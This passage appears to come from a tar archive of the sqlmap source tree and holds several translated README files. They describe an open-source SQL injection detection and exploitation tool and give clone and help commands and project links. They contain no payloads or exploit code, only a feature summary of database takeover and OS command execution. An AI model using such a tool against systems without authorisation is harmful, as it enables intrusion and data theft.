[こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。 [Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。 使用方法 ---- 基本的なオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -h 全てのオプションとスイッチの使用方法をリストで取得するには: python sqlmap.py -hh 実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。 sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用方法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。 リンク ---- * ホームページ: https://sqlmap.org * ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 課題管理: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-ka-GE.md000066400000000000000000000135541502261744200204660ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის. ეკრანის ანაბეჭდები ---- ![ეკრანის ანაბეჭდი](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) შეგიძლიათ ესტუმროთ [ეკრანის ანაბეჭდთა კოლექციას](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), სადაც დემონსტრირებულია ინსტრუმენტის ზოგიერთი ფუნქცია. ინსტალაცია ---- თქვენ შეგიძლიათ უახლესი tar-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/tarball/master) დაწკაპუნებით, ან უახლესი zip-არქივის ჩამოტვირთვა [აქ](https://github.com/sqlmapproject/sqlmap/zipball/master) დაწკაპუნებით. ასევე შეგიძლიათ (და სასურველია) sqlmap-ის ჩამოტვირთვა [Git](https://github.com/sqlmapproject/sqlmap)-საცავის (repository) კლონირებით: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან. გამოყენება ---- ძირითადი ვარიანტებისა და პარამეტრების ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: python sqlmap.py -h ვარიანტებისა და პარამეტრების სრული ჩამონათვალის მისაღებად გამოიყენეთ ბრძანება: python sqlmap.py -hh გამოყენების მარტივი მაგალითი შეგიძლიათ იხილოთ [აქ](https://asciinema.org/a/46601). sqlmap-ის შესაძლებლობათა მიმოხილვის, მხარდაჭერილი ფუნქციონალისა და ყველა ვარიანტის აღწერების მისაღებად გამოყენების მაგალითებთან ერთად, გირჩევთ, იხილოთ [მომხმარებლის სახელმძღვანელო](https://github.com/sqlmapproject/sqlmap/wiki/Usage). ბმულები ---- * საწყისი გვერდი: https://sqlmap.org * ჩამოტვირთვა: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ან [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS არხი: https://github.com/sqlmapproject/sqlmap/commits/master.atom * პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues * მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-ko-KR.md000066400000000000000000000063011502261744200205150ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. 스크린샷 ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) 또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다. 설치 ---- [여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다. 가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다. 사용법 ---- 기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: python sqlmap.py -h 전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요: python sqlmap.py -hh [여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다. sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다. 링크 ---- * 홈페이지: https://sqlmap.org * 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-nl-NL.md000066400000000000000000000061011502261744200205100ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Je kunt de [collectie met screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) bezoeken voor een demonstratie van sommige functies in the wiki. Installatie ---- Je kunt de laatste tarball installeren door [hier](https://github.com/sqlmapproject/sqlmap/tarball/master) te klikken of de laatste zipball door [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) te klikken. Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmapproject/sqlmap) repository te clonen: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**. Gebruik ---- Om een lijst van basisopties en switches te krijgen gebruik: python sqlmap.py -h Om een lijst van alle opties en switches te krijgen gebruik: python sqlmap.py -hh Je kunt [hier](https://asciinema.org/a/46601) een proefrun vinden. Voor een overzicht van de mogelijkheden van sqlmap, een lijst van ondersteunde functies, en een beschrijving van alle opties en switches, samen met voorbeelden, wordt u aangeraden de [gebruikershandleiding](https://github.com/sqlmapproject/sqlmap/wiki/Usage) te raadplegen. Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) of [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Probleem tracker: https://github.com/sqlmapproject/sqlmap/issues * Gebruikers handleiding: https://github.com/sqlmapproject/sqlmap/wiki * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-pl-PL.md000066400000000000000000000061741502261744200205260ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia. Zrzuty ekranu ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrującą na wiki niektóre możliwości. Instalacja ---- Najnowsze tarball archiwum jest dostępne po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej. Sposób użycia ---- Aby uzyskać listę podstawowych funkcji i parametrów użyj polecenia: python sqlmap.py -h Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh Przykładowy wynik działania można znaleźć [tutaj](https://asciinema.org/a/46601). Aby uzyskać listę wszystkich dostępnych funkcji, parametrów oraz opisów ich działania wraz z przykładami użycia sqlmap zalecamy odwiedzić [instrukcję użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Odnośniki ---- * Strona projektu: https://sqlmap.org * Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) lub [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Zgłaszanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-pt-BR.md000066400000000000000000000061111502261744200205150ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Instalação ---- Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas. Como usar ---- Para obter uma lista das opções básicas faça: python sqlmap.py -h Para obter a lista completa de opções faça: python sqlmap.py -hh Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-rs-RS.md000066400000000000000000000060571502261744200205500ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. Slike ---- ![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. Instalacija ---- Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. Korišćenje ---- Kako biste dobili listu osnovnih opcija i prekidača koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Linkovi ---- * Početna stranica: https://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-ru-RU.md000066400000000000000000000101341502261744200205430ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. Скриншоты ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki. Установка ---- Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе. Использование ---- Чтобы получить список основных опций и вариантов выбора, используйте: python sqlmap.py -h Чтобы получить список всех опций и вариантов выбора, используйте: python sqlmap.py -hh Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601). Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Ссылки ---- * Основной сайт: https://sqlmap.org * Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-sk-SK.md000066400000000000000000000062121502261744200205230ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. Snímky obrazovky ---- ![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Môžete navštíviť [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonštruuje niektoré funkcie na wiki. Inštalácia ---- Najnovší tarball si môžete stiahnuť kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.6**, **2.7** a **3.x** na akejkoľvek platforme. Využitie ---- Na získanie zoznamu základných možností a prepínačov, použite: python sqlmap.py -h Na získanie zoznamu všetkých možností a prepínačov, použite: python sqlmap.py -hh Vzorku behu nájdete [tu](https://asciinema.org/a/46601). Ak chcete získať prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis všetkých možností a prepínačov spolu s príkladmi, odporúčame vám nahliadnuť do [Používateľskej príručky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Linky ---- * Domovská stránka: https://sqlmap.org * Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues * Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshotssqlmap-1.9.6/doc/translations/README-tr-TR.md000066400000000000000000000056671502261744200205600ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. Ekran görüntüleri ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- [Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- Bütün basit seçeneklerin listesini gösterir python sqlmap.py -h Bütün seçenekleri gösterir python sqlmap.py -hh Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Bağlantılar ---- * Anasayfa: https://sqlmap.org * İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: 